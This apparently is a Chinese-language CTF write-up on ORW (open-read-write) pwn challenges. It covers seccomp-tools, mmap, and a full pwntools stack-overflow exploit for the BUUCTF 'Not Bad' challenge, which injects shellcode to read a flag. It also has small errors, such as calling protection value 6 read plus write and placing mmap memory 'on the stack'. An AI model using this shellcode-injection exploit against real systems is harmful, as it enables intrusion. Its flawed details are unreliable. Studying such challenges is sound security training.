ORW 初识
ORW类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve等),使得我们并不能正常 get shell,只能通过ROP的方式调用open, read, write的来读取并打印flag 内容
1
2
3
| fd = open('/flag','r')
read(fd,buf,len)
write(1,buf,len)
|
查看沙箱
安装 seccomp-tools 工具
1
2
| sudo apt install gcc ruby-dev
gem install seccomp-tools
|
使用 seccomp-tools
1
| seccomp-tools dump ./prog
|
mmap 函数
一般这种ORW题目给出的溢出大小不够我们写入很长的ROP链的,因此会提供mmap()函数,从而给出一段在栈上的内存
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| void *mmap{
void *addr; //映射区首地址,传NULL
size_t length; //映射区大小
//会自动调为4k的整数倍
//不能为0
//一般文件多大,length就指定多大
int prot; //映射区权限
//PROT_READ 映射区必须要有读权限
//PROT_WRITE
//PROT_READ | PROT_WRITE
int flags; //标志位参数
//MAP_SHARED 修改内存数据会同步到磁盘
//MAP_PRIVATE 修改内存数据不会同步到磁盘
int fd; //要映射文件所对应的文件描述符
off_t offset; //映射文件的偏移量,从文件哪个位置开始
//映射的时候文件指针的偏移量
//必须是4k的整数倍
//一般设为0
}
|
例题
极客大挑战 2019 Not Bad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| ~/P/b/[极客大挑战 2019]Not Bad ❯❯❯ pwn checksec ./bad (.venv) ✘ 159
[*] '/home/lhon901/Pwn/buuctf/[极客大挑战 2019]Not Bad/bad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
~/P/b/[极客大挑战 2019]Not Bad ❯❯❯ seccomp-tools dump ./bad (.venv)
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
|
64 位无任何保护
seccomp 规则只允许以下几个系统调用:
- read (0)
- write (1)
- open (2)
- exit (60)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| __int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000u, 6, 34, -1, 0);
sub_400949();
sub_400906();
sub_400A16();
return 0;
}
int sub_400A16()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Easy shellcode, have fun!");
read(0, buf, 0x38u);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}
void sub_4009EE()
{
__asm { jmp rsp }
}
|
注意观察 mmap 的第三个参数 6 = PROT_READ | PROT_WRITE = 可写 + 可执行
- PROT_READ (1) 可读
- PROT_WRITE (2) 可写
- PROT_EXEC (4) 可执行
思路溢出后执行 read(0, 0x123000, 0x1000) 读取 orw shellcode 到 mmap 区域,然后执行 shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| from pwn import *
# p = process("./bad")
p = remote("node5.buuoj.cn", 29957)
context.arch = "amd64"
mmap = 0x123000
orw = shellcraft.open("./flag")
orw += shellcraft.read("rax", mmap, 0x50)
orw += shellcraft.write(1, mmap, 0x50)
jmp_rsp = 0x400A01
payload = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax,0x123000;call rax")
payload = payload.ljust(0x28, b"\x00")
payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")
p.sendline(payload)
time.sleep(1)
p.sendline(asm(orw))
p.interactive()
|